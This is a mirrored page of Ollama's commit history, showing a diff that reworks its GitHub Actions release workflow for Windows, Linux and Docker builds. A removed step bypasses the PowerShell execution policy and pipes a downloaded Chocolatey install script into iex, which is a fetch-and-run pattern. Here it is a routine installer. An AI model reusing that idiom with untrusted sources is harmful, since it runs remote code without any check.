mirror of
https://github.com/ollama/ollama.git
synced 2026-09-08 12:13:43 -04:00
Compare commits
150
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6a6b975607 | ||
|
|
8c432fc88a | ||
|
|
acfb50d9af | ||
|
|
0f047feef5 | ||
|
|
9e4ed74efe | ||
|
|
bbb40a0a6c | ||
|
|
993acc7504 | ||
|
|
7ea692cb2b | ||
|
|
12e04379cd | ||
|
|
f8a48df24d | ||
|
|
82e0ddb6fe | ||
|
|
1abd56b6e6 | ||
|
|
ded2db7d86 | ||
|
|
d00622060f | ||
|
|
177aefb8a9 | ||
|
|
07588c64ee | ||
|
|
4c97a940ca | ||
|
|
74cbf1d2c2 | ||
|
|
5c1e37eb67 | ||
|
|
f0078ae476 | ||
|
|
96201a623a | ||
|
|
9c94c2b11e | ||
|
|
e09b3f9fb5 | ||
|
|
a0099da2d1 | ||
|
|
25e0e81e12 | ||
|
|
87cff95af8 | ||
|
|
3ef69ef784 | ||
|
|
1a7786be14 | ||
|
|
3370ff8b1c | ||
|
|
455f57457d | ||
|
|
1d955ed990 | ||
|
|
d071237131 | ||
|
|
229a1303fb | ||
|
|
ac3d0657a2 | ||
|
|
01557ff313 | ||
|
|
e5a38739b4 | ||
|
|
5f56a289b3 | ||
|
|
ad8cda255d | ||
|
|
3e1b4fe39d | ||
|
|
52196f1a97 | ||
|
|
50bbda5660 | ||
|
|
4b5bdd3b25 | ||
|
|
e828061b6e | ||
|
|
7a2073d17b | ||
|
|
c952708169 | ||
|
|
f57d111754 | ||
|
|
c34a79a373 | ||
|
|
b051c9cf83 | ||
|
|
b7b7fa0454 | ||
|
|
4c076813be | ||
|
|
6780f0416a | ||
|
|
35fa277fa9 | ||
|
|
05747b02ab | ||
|
|
4e807fdedd | ||
|
|
7d3a6c3ae5 | ||
|
|
06ff728246 | ||
|
|
2c71d8d7ca | ||
|
|
00381496a3 | ||
|
|
5e9636fa05 | ||
|
|
630882621b | ||
|
|
0e93ccc2cd | ||
|
|
e7766a4a47 | ||
|
|
be7de10c41 | ||
|
|
11be8f6ac8 | ||
|
|
9db4bdbad6 | ||
|
|
f63eea3d27 | ||
|
|
632ff00798 | ||
|
|
275f122cda | ||
|
|
32568531bd | ||
|
|
438fb991e4 | ||
|
|
358af4af23 | ||
|
|
91c8e5e1a8 | ||
|
|
4b2d529966 | ||
|
|
e6b1d751f2 | ||
|
|
56b319f457 | ||
|
|
42e6f56c2a | ||
|
|
da679adcde | ||
|
|
b9c0421f03 | ||
|
|
98e26b8c37 | ||
|
|
c28ddc0a7b | ||
|
|
3ad2fa3fb5 | ||
|
|
6b6f45ef0e | ||
|
|
4860130f83 | ||
|
|
ac7295ccab | ||
|
|
6398cd5b78 | ||
|
|
3af1a008e2 | ||
|
|
6bdb73073b | ||
|
|
421faa0263 | ||
|
|
206b049508 | ||
|
|
d819ef0f97 | ||
|
|
3d5a011a2e | ||
|
|
c2f2d90a67 | ||
|
|
1e1b34dada | ||
|
|
f866e7608f | ||
|
|
bab59072fb | ||
|
|
7c2c36bda2 | ||
|
|
d319227df0 | ||
|
|
2d84ec939c | ||
|
|
15e6076d79 | ||
|
|
4017af96cd | ||
|
|
534342e7e2 | ||
|
|
9ba5a04914 | ||
|
|
938ca6e274 | ||
|
|
8f39fff70b | ||
|
|
4fe5609563 | ||
|
|
917324bb4d | ||
|
|
c7c2837c96 | ||
|
|
b6447caebc | ||
|
|
bad32c7244 | ||
|
|
ab2e005bf7 | ||
|
|
321cc8a2ba | ||
|
|
87288ced4f | ||
|
|
2bbe2405fe | ||
|
|
bd21678b16 | ||
|
|
088dfd89a8 | ||
|
|
3cab8a7b02 | ||
|
|
03aee88186 | ||
|
|
ec9b4e9e47 | ||
|
|
4656a07e56 | ||
|
|
30f86cb9dd | ||
|
|
ea01af6f76 | ||
|
|
c2ebb4d57c | ||
|
|
590109c835 | ||
|
|
b4442c6d17 | ||
|
|
85ff8e4a21 | ||
|
|
160660e572 | ||
|
|
3b43b9bc4b | ||
|
|
21883571b7 | ||
|
|
ce99f24731 | ||
|
|
04f5f0cdb4 | ||
|
|
fb36a01ffe | ||
|
|
0c65ed33bc | ||
|
|
22d6c817f8 | ||
|
|
ca01373b28 | ||
|
|
24e038d56a | ||
|
|
5d1021603a | ||
|
|
8e05d734b9 | ||
|
|
05e0f21bec | ||
|
|
ff23dd343f | ||
|
|
123b300af6 | ||
|
|
57653b8e42 | ||
|
|
a50ce61c54 | ||
|
|
2bb7ea00d2 | ||
|
|
55fa80d07a | ||
|
|
b9cb535407 | ||
|
|
031baef094 | ||
|
|
7d271e6dc9 | ||
|
|
c88dae2d6b | ||
|
|
9e3618d663 | ||
|
|
e585ecd11f |
No files matched your search
+264
-106
@@ -16,7 +16,7 @@ jobs:
|
||||
outputs:
|
||||
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
|
||||
VERSION: ${{ steps.goflags.outputs.VERSION }}
|
||||
vendorsha: ${{ steps.changes.outputs.vendorsha }}
|
||||
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Set environment
|
||||
@@ -24,7 +24,7 @@ jobs:
|
||||
run: |
|
||||
echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
|
||||
echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
|
||||
|
||||
darwin-build:
|
||||
runs-on: macos-26-xlarge
|
||||
@@ -57,7 +57,9 @@ jobs:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- run: |
|
||||
./scripts/build_darwin.sh
|
||||
- name: Log build results
|
||||
@@ -73,15 +75,18 @@ jobs:
|
||||
dist/*.dmg
|
||||
|
||||
windows-depends:
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64]
|
||||
preset: ['CPU']
|
||||
build-steps: ['cpu cpuArm64']
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 12'
|
||||
build-steps: cuda12
|
||||
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
@@ -89,10 +94,10 @@ jobs:
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
cuda-version: '12.8'
|
||||
flags: ''
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13'
|
||||
build-steps: cuda13
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
@@ -103,23 +108,23 @@ jobs:
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
flags: ''
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'ROCm 6'
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
|
||||
rocm-version: '6.2'
|
||||
flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
|
||||
runner_dir: 'rocm'
|
||||
preset: 'ROCm 7'
|
||||
build-steps: rocm7
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: Vulkan
|
||||
build-steps: vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
flags: ''
|
||||
runner_dir: 'vulkan'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'MLX CUDA 13'
|
||||
build-steps: mlxCuda13
|
||||
build-parallel: '16'
|
||||
cmake-cuda-flags: '-t 6'
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
|
||||
cuda-components:
|
||||
@@ -135,18 +140,34 @@ jobs:
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
flags: ''
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- if: startsWith(matrix.preset, 'MLX ')
|
||||
name: Increase pagefile to 200 GB
|
||||
uses: al-cheb/configure-pagefile-action@v1.5
|
||||
with:
|
||||
minimum-size: 16GB
|
||||
maximum-size: 200GB
|
||||
disk-root: "D:"
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
choco install -y --no-progress ccache ninja
|
||||
if (Get-Command ccache -ErrorAction SilentlyContinue) {
|
||||
ccache -o cache_dir=${{ github.workspace }}\.ccache
|
||||
}
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Install Windows ARM64 cross compiler
|
||||
run: |
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
|
||||
id: cache-install
|
||||
uses: actions/cache/restore@v4
|
||||
@@ -195,12 +216,12 @@ jobs:
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: matrix.preset == 'CPU'
|
||||
run: |
|
||||
echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
- if: startsWith(matrix.preset, 'MLX ')
|
||||
name: Install cuDNN for MLX
|
||||
run: |
|
||||
@@ -232,72 +253,63 @@ jobs:
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
|
||||
- name: Build target "${{ matrix.preset }}"
|
||||
- name: Build Windows dependencies
|
||||
run: |
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
|
||||
cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
|
||||
cmake --install build --component "${{ startsWith(matrix.preset, 'MLX ') && 'MLX' || startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
|
||||
Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
|
||||
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
|
||||
./scripts/build_windows.ps1 @steps
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
|
||||
OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Verify Windows CPU payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
|
||||
path: dist\*
|
||||
|
||||
windows-build:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64, arm64]
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
llvmarch: x86_64
|
||||
- os: windows
|
||||
arch: arm64
|
||||
llvmarch: aarch64
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
runs-on: windows
|
||||
environment: release
|
||||
needs: [setup-environment]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install ARM64 system dependencies
|
||||
if: matrix.arch == 'arm64'
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
|
||||
echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
|
||||
Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
|
||||
Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
|
||||
|
||||
choco install -y --no-progress git gzip
|
||||
echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
- name: Install clang and gcc-compat
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Verify gcc is actually clang
|
||||
run: |
|
||||
$ErrorActionPreference='Continue'
|
||||
@@ -314,20 +326,30 @@ jobs:
|
||||
with:
|
||||
node-version: "20"
|
||||
- run: |
|
||||
./scripts/build_windows ollama app
|
||||
./scripts/build_windows ollama ollamaArm64 app appArm64
|
||||
- name: Verify Windows build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-arm64/ollama.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: build-${{ matrix.os }}-${{ matrix.arch }}
|
||||
name: build-windows-amd64
|
||||
path: |
|
||||
dist\*
|
||||
|
||||
windows-app:
|
||||
runs-on: windows
|
||||
environment: release
|
||||
needs: [windows-build, windows-depends]
|
||||
needs: [setup-environment, windows-build, windows-depends]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
@@ -353,7 +375,9 @@ jobs:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: depends-windows*
|
||||
@@ -367,6 +391,18 @@ jobs:
|
||||
- name: Log dist contents after download
|
||||
run: |
|
||||
gci -path .\dist -recurse
|
||||
- name: Verify Windows package inputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/ollama.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- run: |
|
||||
./scripts/build_windows.ps1 deps sign installer zip
|
||||
- name: Log contents after build
|
||||
@@ -380,20 +416,33 @@ jobs:
|
||||
dist/*.ps1
|
||||
dist/OllamaSetup.exe
|
||||
|
||||
linux-build:
|
||||
linux-depends:
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
- os: linux
|
||||
arch: amd64
|
||||
target: archive
|
||||
- os: linux
|
||||
arch: amd64
|
||||
target: rocm
|
||||
- os: linux
|
||||
arch: arm64
|
||||
target: archive
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
- arch: amd64
|
||||
target: llama-server-cpu
|
||||
- arch: amd64
|
||||
target: llama-server-cuda_v12
|
||||
- arch: amd64
|
||||
target: llama-server-cuda_v13
|
||||
- arch: amd64
|
||||
target: mlx
|
||||
- arch: amd64
|
||||
target: llama-server-rocm_v7_2
|
||||
- arch: amd64
|
||||
target: llama-server-vulkan
|
||||
- arch: arm64
|
||||
target: llama-server-cpu
|
||||
- arch: arm64
|
||||
target: llama-server-cuda_v12
|
||||
- arch: arm64
|
||||
target: llama-server-cuda_v13
|
||||
- arch: arm64
|
||||
target: jetpack-5
|
||||
- arch: arm64
|
||||
target: jetpack-6
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
environment: release
|
||||
needs: setup-environment
|
||||
env:
|
||||
@@ -401,80 +450,114 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/login-action@v3
|
||||
with:
|
||||
username: ${{ vars.DOCKER_USER }}
|
||||
password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
|
||||
- if: matrix.target == 'mlx'
|
||||
name: Increase Linux swap to 200 GB
|
||||
shell: bash
|
||||
run: |
|
||||
set -e
|
||||
SWAP_PATH=/swapfile-mlx
|
||||
SWAP_SIZE_GB=200
|
||||
if [ -f "$SWAP_PATH" ]; then
|
||||
sudo swapoff "$SWAP_PATH" 2>/dev/null || true
|
||||
sudo rm -f "$SWAP_PATH"
|
||||
fi
|
||||
if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
|
||||
echo "fallocate unsupported, falling back to dd"
|
||||
sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
|
||||
fi
|
||||
sudo chmod 600 "$SWAP_PATH"
|
||||
sudo mkswap "$SWAP_PATH"
|
||||
sudo swapon "$SWAP_PATH"
|
||||
swapon --show
|
||||
free -h
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: ${{ matrix.os }}/${{ matrix.arch }}
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
target: ${{ matrix.target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ env.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
cache-to: type=inline
|
||||
- name: Deduplicate CUDA libraries
|
||||
run: |
|
||||
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- run: |
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "$COMPONENT" in
|
||||
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- run: |
|
||||
echo "Manifests"
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
|
||||
echo $ARCHIVE
|
||||
cat $ARCHIVE
|
||||
done
|
||||
- run: |
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
|
||||
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd --ultra -22 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst);
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
|
||||
path: |
|
||||
*.tar.zst
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
|
||||
|
||||
# Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
|
||||
# Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
|
||||
# and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
|
||||
docker-build-push:
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
- os: linux
|
||||
arch: arm64
|
||||
archive-target: archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
|
||||
type=registry,ref=ollama/release:cache-arm64-jetpack-5
|
||||
type=registry,ref=ollama/release:cache-arm64-jetpack-6
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
- os: linux
|
||||
arch: amd64
|
||||
archive-target: archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
|
||||
type=registry,ref=ollama/release:cache-amd64-mlx
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
- os: linux
|
||||
arch: amd64
|
||||
suffix: '-rocm'
|
||||
archive-target: image-archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
FLAVOR=rocm
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
needs: setup-environment
|
||||
needs: [setup-environment, linux-depends]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
steps:
|
||||
@@ -489,9 +572,11 @@ jobs:
|
||||
with:
|
||||
context: .
|
||||
platforms: ${{ matrix.os }}/${{ matrix.arch }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: ${{ matrix.build-args }}
|
||||
outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
|
||||
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
